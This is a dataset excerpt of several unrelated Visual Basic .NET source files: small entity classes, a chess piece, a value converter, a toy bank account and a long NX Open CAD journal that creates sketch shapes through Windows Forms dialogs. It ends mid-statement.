text
stringlengths
43
2.01M
Public Class Categoria Dim _nombre, _abreviatura, _estado As String Dim _idCategoria As Integer Public Property idCategoria As String Get Return _idCategoria End Get Set(Value As String) _idCategoria = Value End Set End Property Public Property nombre As String Get Return _nombre End Get Set(Value As String) _nombre = Value End Set End Property Public Property abreviatura As String Get Return _abreviatura End Get Set(Value As String) _abreviatura = Value End Set End Property Public Property estado As String Get Return _estado End Get Set(Value As String) _estado = Value End Set End Property Public Sub New() End Sub Public Sub New(idCategoria As Integer, Nombre As String, Abreviatura As String, estado As String) _estado = estado _idCategoria = idCategoria _nombre = Nombre _abreviatura = Abreviatura End Sub End Class
Imports VBChess.Shared Public Class King Inherits ChessPiece Public Sub New(owner As Player, board As ChessBoard, position As Point) MyBase.New(owner, board, position) End Sub Public Overrides ReadOnly Property PawnType As PawnTypes Get Return PawnTypes.King End Get End Property Friend Overrides Function IsMoveValid(newPosition As Point) As Boolean If Not MyBase.IsMoveValid(newPosition) Then Return False Return newPosition.X >= Position.Value.X - 1 _ AndAlso newPosition.X <= Position.Value.X + 1 _ AndAlso newPosition.Y >= Position.Value.Y - 1 _ AndAlso newPosition.Y <= Position.Value.Y + 1 End Function End Class
Imports System.Globalization Public NotInheritable Class NodeIsFolderOrFile Implements IValueConverter Public Function Convert(value As Object, targetType As Type, parameter As Object, culture As CultureInfo) As Object Implements IValueConverter.Convert Return (value = "file" Or value = "folder") End Function Public Function ConvertBack(value As Object, targetType As Type, parameter As Object, culture As CultureInfo) As Object Implements IValueConverter.ConvertBack Throw New NotImplementedException() End Function End Class
Imports System.Collections.ObjectModel Imports System.IO Imports System.Reflection Namespace Compatibility Public Class MethodReplacements Public Shared Property Methods As New ReplacementInfoCollection() Public Shared Function IsFound(name As String) As Boolean Return Methods.Any(Function(m) String.Equals(m.MethodName, name, StringComparison.OrdinalIgnoreCase)) End Function Public Shared Function GetByName(name As String) As ReplacementInfo Return Methods.FirstOrDefault(Function(m) String.Equals(m.MethodName, name, StringComparison.OrdinalIgnoreCase)) End Function End Class Public Class ReplacementInfoCollection Inherits Collection(Of ReplacementInfo) Private Const ResourceFileName As String = "VBCodeStandard.MethodReplacements.xml" Public Sub New() Using s As Stream = Me.GetType().GetTypeInfo().Assembly.GetManifestResourceStream(ResourceFileName) Dim doc = XDocument.Load(s) Dim methodsNode = doc.Root For Each method In methodsNode.Elements() Dim ri As New ReplacementInfo() ri.MethodName = method.Attribute("name").Value ri.DetectNotExpression = Convert.ToBoolean(method.Attribute("detectNotExpression").Value) ri.NewPattern = method.Element("newPattern").Value If ri.DetectNotExpression Then ri.NewNotPattern = method.Element("newNotPattern").Value Add(ri) Next End Using End Sub End Class Public Class ReplacementInfo Public Property MethodName As String Public Property DetectNotExpression As Boolean Public Property NewPattern As String Public Property NewNotPattern As String End Class End Namespace
Public Class Cuenta Private _saldo As Integer Private _estaEmbargada As Boolean Public Sub New(saldoInicial As Integer) _saldo = saldoInicial _estaEmbargada = False End Sub Sub New(saldoInicial As Integer, estaEmbargada As Boolean) _saldo = saldoInicial _estaEmbargada = estaEmbargada End Sub 'Depositar Public Sub Depositar(monto As Integer) _saldo = _saldo + monto End Sub 'Retirar Sub Retirar(montoPorRetirar As Integer) If _estaEmbargada Then Policia.Notifique("Atrapenlo!") ElseIf montoPorRetirar <= _saldo Then _saldo = _saldo - montoPorRetirar End If End Sub 'Consulta el saldo Public Function ConsultarSaldo() As Integer Return _saldo End Function 'Abrir 'Cerrar 'Agregar Beneficiarion End Class
' ' Copyright (c) 2004 UGS PLM Solutions ' All rights reserved ' Written by V.A.L. Option Strict Off Imports System Imports NXOpen Imports System.Windows.Forms Imports Microsoft.VisualBasic ' This interface creates a shape on a sketch ' ' Classes inherit from this interface and implement the Execute function, ' that contains the core functionality that actually creates a specific shape. Public Interface IShapeCreator ' Creates a shape on a sketch ' The name and right hand side of the dimensions in the sketch ' are specified by dimensionData. Sub Execute(ByVal dimensionData() As DimensionData) End Interface Module SketchShapeMain Sub Main() Dim theSession As Session = Session.GetSession() Dim theUFSession As NXOpen.UF.UFSession = NXOpen.UF.UFSession.GetUFSession() Dim form As Form1 = Nothing Try If theSession.ActiveSketch Is Nothing Then MessageBox.Show("A sketch must be active in order to run this journal") Exit Sub End If Dim shapeCreators() As IShapeCreator = New IShapeCreator() { _ New KeyholeShapeCreator(theSession, theUFSession), _ New Shape2Creator(theSession, theUFSession), _ New SlotShapeCreator(theSession, theUFSession), _ New Shape4Creator(theSession, theUFSession)} Dim bitmapDirectory As String = System.IO.Path.Combine(System.IO.Path.GetDirectoryName(theSession.ExecutingJournal), "images") ' The shape creators are used to actually create the shape ' after the user has selected the shape and its dimensions form = New Form1(bitmapDirectory, shapeCreators) form.ShowDialog() Catch ex As Exception System.Windows.Forms.MessageBox.Show(ex.ToString()) End Try form.Dispose() End Sub End Module Public Structure DimensionData '''''''''''' ' Fields used in the form UI and the IShapeCreator '''''''''''' ' name for the dimension Dim name As String ' the right hand side for the dimension Dim rhs As String '''''''''''' ' Fields used only in the form UI '''''''''''' ' the description for the dimension Dim description As String ' the upper left-hand corner of the dimension on the preview image Dim guiPickPoint As System.Drawing.Point ' the length and width of the dimension on the preview image Dim guiPickPointLengthHeight As System.Drawing.Point Public Sub New(ByVal name_ As String, ByVal rhs_ As String, _ ByVal description_ As String, ByVal pickPointX As Integer, _ ByVal pickPointY As Integer, ByVal pickPointLength As Integer, _ ByVal pickPointHeight As Integer) name = name_ rhs = rhs_ description = description_ guiPickPoint = New System.Drawing.Point(pickPointX, pickPointY) guiPickPointLengthHeight = New System.Drawing.Point(pickPointLength, pickPointHeight) End Sub End Structure ' Form that asks the user to select a shape Public Class Form1 Inherits System.Windows.Forms.Form '''''''''' ' PUBLIC METHODS '''''''''' ' Sets the IShapeCreator that is run after the user presses ' "Create" on the final form. The IShapeCreator actually ' creates the shape on the sketch Public Sub SetShapeCreators(ByVal creators() As IShapeCreator) m_shapeCreators = creators End Sub #Region " Windows Form Designer generated code " Public Sub New(ByVal bitmapDirectory As String, ByVal creators() As IShapeCreator) MyBase.New() m_BitmapDirectory = bitmapDirectory m_shapeCreators = creators 'This call is required by the Windows Form Designer. InitializeComponent() 'Add any initialization after the InitializeComponent() call End Sub 'Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. Friend WithEvents m_SketchSelectComboBox As System.Windows.Forms.ComboBox Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents m_nextButton As System.Windows.Forms.Button Friend WithEvents m_PictureBox As System.Windows.Forms.PictureBox <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Dim resources As System.Resources.ResourceManager = New System.Resources.ResourceManager(GetType(Form1)) Me.m_PictureBox = New System.Windows.Forms.PictureBox Me.m_SketchSelectComboBox = New System.Windows.Forms.ComboBox Me.Label1 = New System.Windows.Forms.Label Me.m_nextButton = New System.Windows.Forms.Button Me.SuspendLayout() ' 'm_PictureBox ' Me.m_PictureBox.Image = Nothing Me.m_PictureBox.Location = New System.Drawing.Point(32, 16) Me.m_PictureBox.Name = "m_PictureBox" Me.m_PictureBox.Size = New System.Drawing.Size(328, 176) Me.m_PictureBox.TabIndex = 0 Me.m_PictureBox.TabStop = False ' 'm_SketchSelectComboBox ' Me.m_SketchSelectComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList Me.m_SketchSelectComboBox.Items.AddRange(New Object() {"Keyhole", "Shape 2", "Slot", "Shape 4"}) Me.m_SketchSelectComboBox.Location = New System.Drawing.Point(32, 272) Me.m_SketchSelectComboBox.Name = "m_SketchSelectComboBox" Me.m_SketchSelectComboBox.Size = New System.Drawing.Size(121, 21) Me.m_SketchSelectComboBox.TabIndex = 0 Me.m_SketchSelectComboBox.SelectedIndex = 0 ' 'Label1 ' Me.Label1.Location = New System.Drawing.Point(32, 240) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(120, 16) Me.Label1.TabIndex = 2 Me.Label1.Text = "Pick shape:" ' 'm_nextButton ' Me.m_nextButton.Location = New System.Drawing.Point(32, 304) Me.m_nextButton.Name = "m_nextButton" Me.m_nextButton.TabIndex = 1 Me.m_nextButton.Text = "Next >" ' 'Form1 ' Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13) Me.ClientSize = New System.Drawing.Size(384, 343) Me.Controls.Add(Me.m_nextButton) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.m_SketchSelectComboBox) Me.Controls.Add(Me.m_PictureBox) Me.Name = "Form1" Me.Text = "Select shape to create" Me.ResumeLayout(False) End Sub #End Region '''''''''' ' PRIVATE METHODS ADDED BY HAND '''''''''' Private Sub m_SketchSelectComboBox_SelectedIndexChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles m_SketchSelectComboBox.SelectedIndexChanged ' Set the preview image to the image for the shape Dim newImage As System.Drawing.Image Dim newImageName As String = "sk" & (m_SketchSelectComboBox.SelectedIndex + 1).ToString & ".jpg" newImage = New System.Drawing.Bitmap(System.IO.Path.Combine(m_BitmapDirectory, newImageName)) m_PictureBox.Width = newImage.Width m_PictureBox.Height = newImage.Height m_PictureBox.Image = newImage End Sub Private Sub m_nextButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles m_nextButton.Click Me.Hide() ' For the dimensions for the selected shape, ' specify the initial name, right hand side, description, ' and location of the dimension on the preview image Dim dimensionData As DimensionData() Select Case Me.m_SketchSelectComboBox.SelectedIndex Case 0 dimensionData = New DimensionData() { _ New DimensionData("distance", "2.8", "distance between arc centers", 92, 54, 60, 7), _ New DimensionData("radius1", "1.6", "radius of bottom arc", 86, 127, 60, 7), _ New DimensionData("radius2", ".6", "radius of top arc", 83, 4, 60, 7) _ } Case 1 dimensionData = New DimensionData() { _ New DimensionData("length", "8", "length", 134, 154, 40, 7), _ New DimensionData("height", "3.3", "height", 277, 88, 40, 7), _ New DimensionData("minorRadius", ".33", "minor radius", 26, 42, 60, 7), _ New DimensionData("majorRadius", "1.8", "major radius", 147, 9, 60, 7) _ } Case 2 dimensionData = New DimensionData() { _ New DimensionData("angle", "60", "angle between arc centers", 90, 5, 40, 7), _ New DimensionData("majorRadius", "3.0", "major radius", 35, 119, 60, 7), _ New DimensionData("minorRadius", ".5", "major radius", 195, 59, 60, 7) _ } Case 3 dimensionData = New DimensionData() { _ New DimensionData("length", "6.2", "length between circle centers", 128, 13, 40, 7), _ New DimensionData("barWidth", ".9", "width of the bar between the circles", 1, 62, 40, 7), _ New DimensionData("innerDiameter", "1.8", "inner diameter", 280, 45, 40, 7), _ New DimensionData("outerDiameter", "2.9", "outer diameter", 266, 15, 40, 7), _ New DimensionData("fillet", ".3", "fillet radius", 135, 90, 40, 7) _ } Case Else Throw New System.Exception("Not supported at this time") End Select ' Get the shapeCreator for the selected shape Dim shapeCreator As IShapeCreator = Nothing If Not Me.m_shapeCreators Is Nothing Then shapeCreator = m_shapeCreators(Me.m_SketchSelectComboBox.SelectedIndex) End If ' Show the second form Dim form2 As Form = New Form2(Me, Me.m_PictureBox.Image, dimensionData, shapeCreator) form2.ShowDialog() End Sub '''''''''' ' PRIVATE DATA '''''''''' Private m_BitmapDirectory As String Private m_shapeCreators() As IShapeCreator End Class ' Form for user to input the dimension names and right hand side Public Class Form2 Inherits System.Windows.Forms.Form Private Class DimensionTextBox Inherits System.Windows.Forms.TextBox Private m_owner As Form2 Private m_dimId As Integer Public Sub New(ByVal owner As Form2, ByVal dimId As Integer, _ ByVal locationX As Integer, ByVal locationY As Integer) m_owner = owner m_dimId = dimId Me.Size = New System.Drawing.Size(104, 20) Me.Location = New System.Drawing.Point(locationX, locationY) End Sub Protected Overrides Sub OnGotFocus(ByVal e As EventArgs) MyBase.OnGotFocus(e) ' Highlight the dimension on the preview image m_owner.SetHighlightedDimension(m_dimId) End Sub End Class ' Highlights the specified dimension on the preview image ' ' dimId - the location of the dimension data in the DimensionData array Public Sub SetHighlightedDimension(ByVal dimId As Integer) m_highlightedDimension = dimId Me.m_PictureBox.Invalidate() Me.m_statusTextBox.Text = Me.m_dimensionData(dimId).description End Sub Public Sub New(ByVal form1 As Form1, ByVal image As System.Drawing.Image, ByVal dimensionData As DimensionData(), ByVal shapeCreator As IShapeCreator) MyBase.New() m_form1 = form1 m_dimensionData = dimensionData 'This call is required by the Windows Form Designer. InitializeComponent() 'Add any initialization after the InitializeComponent() call Me.m_PictureBox.Image = image Me.m_PictureBox.Size = image.Size m_shapeCreator = shapeCreator Dim highlightColor As System.Drawing.Color = System.Drawing.Color.FromArgb(128, 255, 0, 0) m_highlightBrush = New System.Drawing.SolidBrush(highlightColor) End Sub 'Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub Private Sub InitializeComponent() Me.m_dimensionTextBoxes = New DimensionTextBox(2 * Me.m_dimensionData.Length) {} Dim ii As Integer For ii = 0 To Me.m_dimensionData.Length - 1 m_dimensionTextBoxes(2 * ii) = New DimensionTextBox(Me, ii, 24, 256 + 32 * ii) m_dimensionTextBoxes(2 * ii).TabIndex = 2 * ii m_dimensionTextBoxes(2 * ii).Text = Me.m_dimensionData(ii).name m_dimensionTextBoxes(2 * ii + 1) = New DimensionTextBox(Me, ii, 160, 256 + 32 * ii) m_dimensionTextBoxes(2 * ii + 1).TabIndex = 2 * ii + 1 m_dimensionTextBoxes(2 * ii + 1).Text = Me.m_dimensionData(ii).rhs Next Me.m_PictureBox = New System.Windows.Forms.PictureBox Me.Label1 = New System.Windows.Forms.Label Me.Label2 = New System.Windows.Forms.Label Me.m_prevButton = New System.Windows.Forms.Button Me.m_createButton = New System.Windows.Forms.Button Me.m_statusTextBox = New System.Windows.Forms.Label Me.SuspendLayout() ' 'm_PictureBox ' Me.m_PictureBox.Location = New System.Drawing.Point(16, 16) Me.m_PictureBox.Name = "m_PictureBox" Me.m_PictureBox.Size = New System.Drawing.Size(160, 152) Me.m_PictureBox.TabStop = False ' 'Label1 ' Me.Label1.Location = New System.Drawing.Point(24, 224) Me.Label1.Name = "Label1" Me.Label1.Text = "Name" ' 'Label2 ' Me.Label2.Location = New System.Drawing.Point(160, 224) Me.Label2.Name = "Label2" Me.Label2.Text = "Value" ' 'm_prevButton ' Me.m_prevButton.Location = New System.Drawing.Point(24, 256 + 32 * Me.m_dimensionData.Length + 8) Me.m_prevButton.Name = "m_prevButton" Me.m_prevButton.TabIndex = 2 * Me.m_dimensionData.Length + 3 Me.m_prevButton.Text = "< Prev" ' 'm_createButton ' Me.m_createButton.Location = New System.Drawing.Point(160, 256 + 32 * Me.m_dimensionData.Length + 8) Me.m_createButton.Name = "m_createButton" Me.m_createButton.TabIndex = 2 * Me.m_dimensionData.Length + 2 Me.m_createButton.Text = "Create" ' 'm_statusTextBox ' Me.m_statusTextBox.Location = New System.Drawing.Point(24, 256 + 32 * Me.m_dimensionData.Length + 8 + 48) Me.m_statusTextBox.Name = "m_statusTextBox" Me.m_statusTextBox.Size = New System.Drawing.Size(424, 16) Me.m_statusTextBox.TabIndex = 10 ' 'Form2 ' Me.AutoScaleMode = False Me.ClientSize = New System.Drawing.Size(384, 341 + 32 * Me.m_dimensionData.Length) Me.Controls.Add(Me.m_statusTextBox) Me.Controls.Add(Me.m_createButton) Me.Controls.Add(Me.m_prevButton) For ii = 0 To Me.m_dimensionData.Length - 1 Me.Controls.Add(Me.m_dimensionTextBoxes(2 * ii)) Me.Controls.Add(Me.m_dimensionTextBoxes(2 * ii + 1)) Next Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.m_PictureBox) Me.Name = "Form2" Me.Text = "Select values for dimensions" Me.ResumeLayout(False) End Sub Private Sub m_PictureBox_Paint(ByVal sender As Object, ByVal e As System.Windows.Forms.PaintEventArgs) Handles m_PictureBox.Paint ' highlight the dimension If m_highlightedDimension >= 0 Then Dim dimensionData As DimensionData = m_dimensionData(m_highlightedDimension) Dim x, y, length, height As Integer x = dimensionData.guiPickPoint.X y = dimensionData.guiPickPoint.Y length = dimensionData.guiPickPointLengthHeight.X height = dimensionData.guiPickPointLengthHeight.Y e.Graphics.FillRectangle(m_highlightBrush, x, y, length, height) End If End Sub Private Sub m_prevButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles m_prevButton.Click ' Go back to Form1 m_returnToPrevForm = True Me.Close() m_form1.Show() End Sub Private Sub Form2_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing If Not m_returnToPrevForm Then m_form1.Close() End If End Sub Private Sub m_PictureBox_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles m_PictureBox.MouseDown ' If the user has clicked on a dimension, highlight the dimension ' and change focus to the name text box for the dimension Dim ii As Integer For ii = 0 To Me.m_dimensionData.Length - 1 If m_dimensionData(ii).guiPickPoint.X <= e.X AndAlso e.X <= m_dimensionData(ii).guiPickPoint.X + m_dimensionData(ii).guiPickPointLengthHeight.X AndAlso _ m_dimensionData(ii).guiPickPoint.Y <= e.Y AndAlso e.Y <= m_dimensionData(ii).guiPickPoint.Y + m_dimensionData(ii).guiPickPointLengthHeight.Y Then Me.SetHighlightedDimension(ii) Me.m_dimensionTextBoxes(2 * ii).SelectAll() Me.m_dimensionTextBoxes(2 * ii).Focus() Exit Sub End If Next End Sub Private Sub m_createButton_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles m_createButton.Click Me.Close() If Not Me.m_shapeCreator Is Nothing Then ' Fill in the DimensionData fields used by IShapeCreator with ' the values from the dimension text boxes Dim ii As Integer For ii = 0 To Me.m_dimensionData.Length - 1 m_dimensionData(ii).name = Me.m_dimensionTextBoxes(2 * ii).Text m_dimensionData(ii).rhs = Me.m_dimensionTextBoxes(2 * ii + 1).Text Next ' Create the shape in the sketch Try m_shapeCreator.Execute(Me.m_dimensionData) Catch ex As Exception MessageBox.Show(ex.ToString()) End Try End If End Sub ''''''''''' ' PRIVATE DATA ''''''''''' Private m_highlightedDimension As Integer = -1 Private m_form1 As Form1 Private m_dimensionData As DimensionData() Private m_shapeCreator As IShapeCreator Private m_returnToPrevForm As Boolean = False Private m_highlightBrush As System.Drawing.Brush 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. Friend WithEvents m_PictureBox As System.Windows.Forms.PictureBox Private m_dimensionTextBoxes() As DimensionTextBox Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents Label2 As System.Windows.Forms.Label Friend WithEvents m_prevButton As System.Windows.Forms.Button Friend WithEvents m_createButton As System.Windows.Forms.Button Friend WithEvents m_statusTextBox As System.Windows.Forms.Label End Class ' This module contains the actual implementation code that creates ' shapes in the sketch Module ShapeCreators ' Represents a 3-dimensional translation and rotation that can be ' applied to vectors and points Class Transform '''''''''' ' PUBLIC METHODS '''''''''' Public Sub New(ByVal translation As Point3d, ByVal rotationMatrix As Matrix3x3) m_matrix = rotationMatrix m_translation = translation End Sub ' Applies this transform to a vector ' ' v_out = R * v_in ' ' where R is the rotation matrix for this transform Public Function Apply(ByVal vector As Vector3d) As Vector3d Dim result As Vector3d result.x = m_matrix.xx * vector.x + m_matrix.yx * vector.y + m_matrix.zx * vector.z result.y = m_matrix.xy * vector.x + m_matrix.yy * vector.y + m_matrix.zy * vector.z result.z = m_matrix.xz * vector.x + m_matrix.yz * vector.y + m_matrix.zz * vector.z Return result End Function ' Applies this transform to a point ' ' point_out = R * point_in + T ' ' where R is the rotation matrix and T is the translation for this transform Public Function Apply(ByVal point As Point3d) As Point3d Dim result As Point3d result.x = m_translation.x + m_matrix.xx * point.x + m_matrix.yx * point.y + m_matrix.zx * point.z result.y = m_translation.y + m_matrix.xy * point.x + m_matrix.yy * point.y + m_matrix.zy * point.z result.z = m_translation.z + m_matrix.xz * point.x + m_matrix.yz * point.y + m_matrix.zz * point.z Return result End Function '''''''''' ' PRIVATE DATA '''''''''' Private m_matrix As Matrix3x3 Private m_translation As Point3d End Class ' An abstract class that each shape creator inherits from Public MustInherit Class ShapeCreator Public Sub New(ByVal session As Session, ByVal ufSession As NXOpen.UF.UFSession) theSession = session theUFSession = ufSession activeSketch = theSession.ActiveSketch workPart = theSession.Parts.Work transform = New Transform(activeSketch.Origin, activeSketch.Orientation.Element) End Sub Protected theSession As Session Protected activeSketch As Sketch Protected workPart As Part Protected transform As transform Protected theUFSession As NXOpen.UF.UFSession End Class ' Creates a keyhole shape Public Class KeyholeShapeCreator Inherits ShapeCreator Implements IShapeCreator Public Sub New(ByVal session As Session, ByVal ufSession As NXOpen.UF.UFSession) MyBase.New(session, ufSession) End Sub Public Sub Execute(ByVal dimensionData() As DimensionData) Implements IShapeCreator.Execute theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create shape 1") ' NX 3.0.0.10 ' Journal created by vlucas on Fri Mar 05 17:59:27 2004 Eastern Standard Time ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId1 As Session.UndoMarkId ' session_UndoMarkId1 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId2 As Session.UndoMarkId ' session_UndoMarkId2 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId2, "Curve", Session.MarkVisibility.Visible) Dim point3d1 As Point3d = Transform.Apply(New Point3d(0, 3.14148980532975, 0)) Dim point3d2 As Point3d = Transform.Apply(New Point3d(-0.0000000000000231657087176179, -3.05851019467025, 0)) Dim line1 As Line line1 = workPart.Curves.CreateLine(point3d1, point3d2) activeSketch.AddGeometry(line1, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry1 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint1 As SketchGeometricConstraint sketchGeometricConstraint1 = activeSketch.CreateVerticalConstraint(sketch_ConstraintGeometry1) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId3 As Session.UndoMarkId ' session_UndoMarkId3 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId4 As Session.UndoMarkId ' session_UndoMarkId4 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId4, "Curve", Session.MarkVisibility.Visible) Dim point3d3 As Point3d = Transform.Apply(New Point3d(0.6, 2, 0)) Dim point3d4 As Point3d = Transform.Apply(New Point3d(0.599999999999995, 0.6, 0)) Dim line2 As Line line2 = workPart.Curves.CreateLine(point3d3, point3d4) activeSketch.AddGeometry(line2, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry2 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint2 As SketchGeometricConstraint sketchGeometricConstraint2 = activeSketch.CreateVerticalConstraint(sketch_ConstraintGeometry2) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Edit->Mirror... ' ---------------------------------------------- ' Dim session_UndoMarkId5 As Session.UndoMarkId ' session_UndoMarkId5 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Mirror Sketch") Dim objectArray1(0) As SmartObject objectArray1(0) = line2 Dim objectArray2() As SmartObject objectArray2 = activeSketch.MirrorObjects(line1, objectArray1) ' ---------------------------------------------- ' Menu: Insert->Profile... ' ---------------------------------------------- ' Dim session_UndoMarkId6 As Session.UndoMarkId ' session_UndoMarkId6 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId7 As Session.UndoMarkId ' session_UndoMarkId7 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId7, "Curve", Session.MarkVisibility.Visible) Dim point3d5 As Point3d = Transform.Apply(New Point3d(0.599999999999997, 2, 0)) Dim point3d6 As Point3d = Transform.Apply(New Point3d(-0.00000000000000201409351674322, 2.60000000000001, 0)) Dim point3d7 As Point3d = Transform.Apply(New Point3d(-0.600000000000021, 2, 0)) Dim boolean1 As Boolean Dim arc1 As Arc arc1 = workPart.Curves.CreateArc(point3d5, point3d6, point3d7, False, boolean1) activeSketch.AddGeometry(arc1, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry3 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp1 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp1.type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp1.point.x = -0.600000000000021 sketch_ConstraintGeometryHelp1.point.y = 2.42883864925048 sketch_ConstraintGeometryHelp1.point.z = 0 sketch_ConstraintGeometryHelp1.parameter = 0 sketch_ConstraintGeometryHelp1.point = Transform.Apply(sketch_ConstraintGeometryHelp1.point) Dim sketch_ConstraintGeometry4 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(objectArray2(0), Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp2 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp2.type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp2.point.x = -0.600000000000021 sketch_ConstraintGeometryHelp2.point.y = 2.42883864925048 sketch_ConstraintGeometryHelp2.point.z = 0 sketch_ConstraintGeometryHelp2.parameter = 0 sketch_ConstraintGeometryHelp2.point = Transform.Apply(sketch_ConstraintGeometryHelp2.point) Dim sketchTangentConstraint1 As SketchTangentConstraint sketchTangentConstraint1 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry3, sketch_ConstraintGeometryHelp1, sketch_ConstraintGeometry4, sketch_ConstraintGeometryHelp2) Dim sketch_ConstraintGeometry5 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp3 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp3.type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp3.point.x = 0.599999999999997 sketch_ConstraintGeometryHelp3.point.y = 2 sketch_ConstraintGeometryHelp3.point.z = 0 sketch_ConstraintGeometryHelp3.parameter = 0 sketch_ConstraintGeometryHelp3.point = Transform.Apply(sketch_ConstraintGeometryHelp3.point) Dim sketch_ConstraintGeometry6 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp4 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp4.type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp4.point.x = 0.599999999999997 sketch_ConstraintGeometryHelp4.point.y = 2 sketch_ConstraintGeometryHelp4.point.z = 0 sketch_ConstraintGeometryHelp4.parameter = 0 sketch_ConstraintGeometryHelp4.point = Transform.Apply(sketch_ConstraintGeometryHelp4.point) Dim sketchTangentConstraint2 As SketchTangentConstraint sketchTangentConstraint2 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry5, sketch_ConstraintGeometryHelp3, sketch_ConstraintGeometry6, sketch_ConstraintGeometryHelp4) ' activeSketch.Update() ' Dim session_UndoMarkId8 As Session.UndoMarkId ' session_UndoMarkId8 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' ' theSession.DeleteUndoMark(session_UndoMarkId8, "Curve") ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId9 As Session.UndoMarkId ' session_UndoMarkId9 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId9, "Curve", Session.MarkVisibility.Visible) Dim point3d8 As Point3d = Transform.Apply(New Point3d(-0.600000000000021, 0.6, 0)) Dim point3d9 As Point3d = Transform.Apply(New Point3d(0, -2.38221734482709, 0)) Dim point3d10 As Point3d = Transform.Apply(New Point3d(0.599999999999998, 0.6, 0)) Dim boolean2 As Boolean Dim arc2 As Arc arc2 = workPart.Curves.CreateArc(point3d8, point3d9, point3d10, False, boolean2) activeSketch.AddGeometry(arc2, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' Dim session_UndoMarkId10 As Session.UndoMarkId ' session_UndoMarkId10 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' ' theSession.DeleteUndoMark(session_UndoMarkId10, "Curve") ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Profile... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Tools->Constraints->Show/Remove Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId11 As 